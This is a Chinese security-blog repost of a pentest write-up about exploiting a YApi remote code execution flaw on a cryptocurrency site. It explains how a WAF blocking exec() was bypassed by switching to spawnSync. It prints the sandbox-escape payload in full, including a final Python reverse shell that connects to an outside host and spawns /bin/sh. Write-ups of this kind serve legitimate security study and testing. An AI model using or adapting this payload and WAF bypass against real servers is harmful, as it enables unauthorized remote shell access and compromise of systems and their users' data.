获取目标虚拟币网站权限的漏洞是Yapi RCE?

admin 2024年6月29日22:35:40评论5 views字数 2043阅读6分48秒阅读模式

免责声明:由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

本文记录了2021年一次有趣的客户目标测试实战。这次经历颇为特别,因此我将其整理成笔记,并在此分享,希望对大家有所帮助。

文章作者:先知社区(小薛同学97)

文章来源:https://xz.aliyun.com/t/14748

1

前言

两位大哥是通过利用 Yapi 远程代码执行漏洞获取了目标虚拟币网站权限。今天分享一篇Yapi 远程代码执行漏洞WAF绕过的实战记录

获取目标虚拟币网站权限的漏洞是Yapi RCE?

疫情在家办公,准备开始划水的一天,这时接到 boss 的电话说要做项目,老板发话说干就干。先对先对客户资产进行收集,结果意外发现一个大宝贝!就这样开始了与 Yapi 的美丽邂逅。

2

初步复现

目标界面是这样的

获取目标虚拟币网站权限的漏洞是Yapi RCE?

该应用之前爆出过代码执行漏洞,在版本<=1.19.2中大致的利用过程是注册用户->创建项目->添加接口->输入代码命令->访问接口便可以查看命令执行结果,其中网上流传的payload如下所示

const sandbox = thisconst ObjectConstructor = this.constructorconst FunctionConstructor = ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()mockJson = process.mainModule.require("child_process").execSync("whoami")

当时,按照复线文章一步一步操作,直到保存脚本时却遇到了问题。正常情况下,点击保存后应该跳转到另一个页面,但这个目标没有任何反应。起初我以为是管理员禁用了保存功能,后来随便保存了一串无害字符,结果显示保存成功。

查看了浏览器的网络请求状态,发现原来是保存恶意脚本的请求被拒绝了。难怪没发现该目标没有被漏洞利用过的痕迹,原来是有 WAF(Web 应用防火墙)进行防御的。

3

尝试绕过

既然碰到了就不能放过。我尝试将恶意脚本进行二分法分段保存,经过一步步尝试,最终发现被拦截是因为识别到了 exec()函数,经查询上诉该恶意脚本为 Node.js 脚本,翻一翻官方文档看到了以下内容:

https://nodejs.org/docs/latest/api/child_process.html

获取目标虚拟币网站权限的漏洞是Yapi RCE?

既然child_process.execSync()被禁,那尝试使用spawn()替代尝试是否可绕过。对照官方文档进行函数名替换后点击保存显示保存成功。这预示着成功了一大步可以初步绕过waf的检测,之后赶紧访问保存的恶意脚本进行反弹 shell 结果 vps 半天没消息,就在怀疑该主机是否不出网的时候被叫吃中午饭了,暂放一阶段。

4

成功复现

吃完饭回来理了理思路,突然发现文档中exec()spawn() 语法是有区别的。exec()可以直接将命令和参数写进去,比如exec(ping 8.8.8.8 -c 4)spawn()只能spawn(ping ['8.8.8.8', '-c', '4'])spawn()的命令和参数是分开的。

参考官方文档的参数格式要求再一次修改命令执行脚本,使用nc反弹结果等了个寂寞,后面改成了python反弹命令,保存后访问接口,结果啪的一下很突然,成功收到了反弹连接。

获取目标虚拟币网站权限的漏洞是Yapi RCE?

最后修改后的脚本如下:
const sandbox = thisconst ObjectConstructor = this.constructorconst FunctionConstructor = ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()Poc = process.mainModule.require("child_process").spawnSync(  'python', ['-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.8.8.8",6665));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'])
参考链接:
https://blog.csdn.net/weixin_46944519/article/details/128625474

5

原文始发于微信公众号(李白你好):获取目标虚拟币网站权限的漏洞是Yapi RCE?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月29日22:35:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   获取目标虚拟币网站权限的漏洞是Yapi RCE?https://cn-sec.com/archives/2889945.html

发表评论

匿名网友 填写信息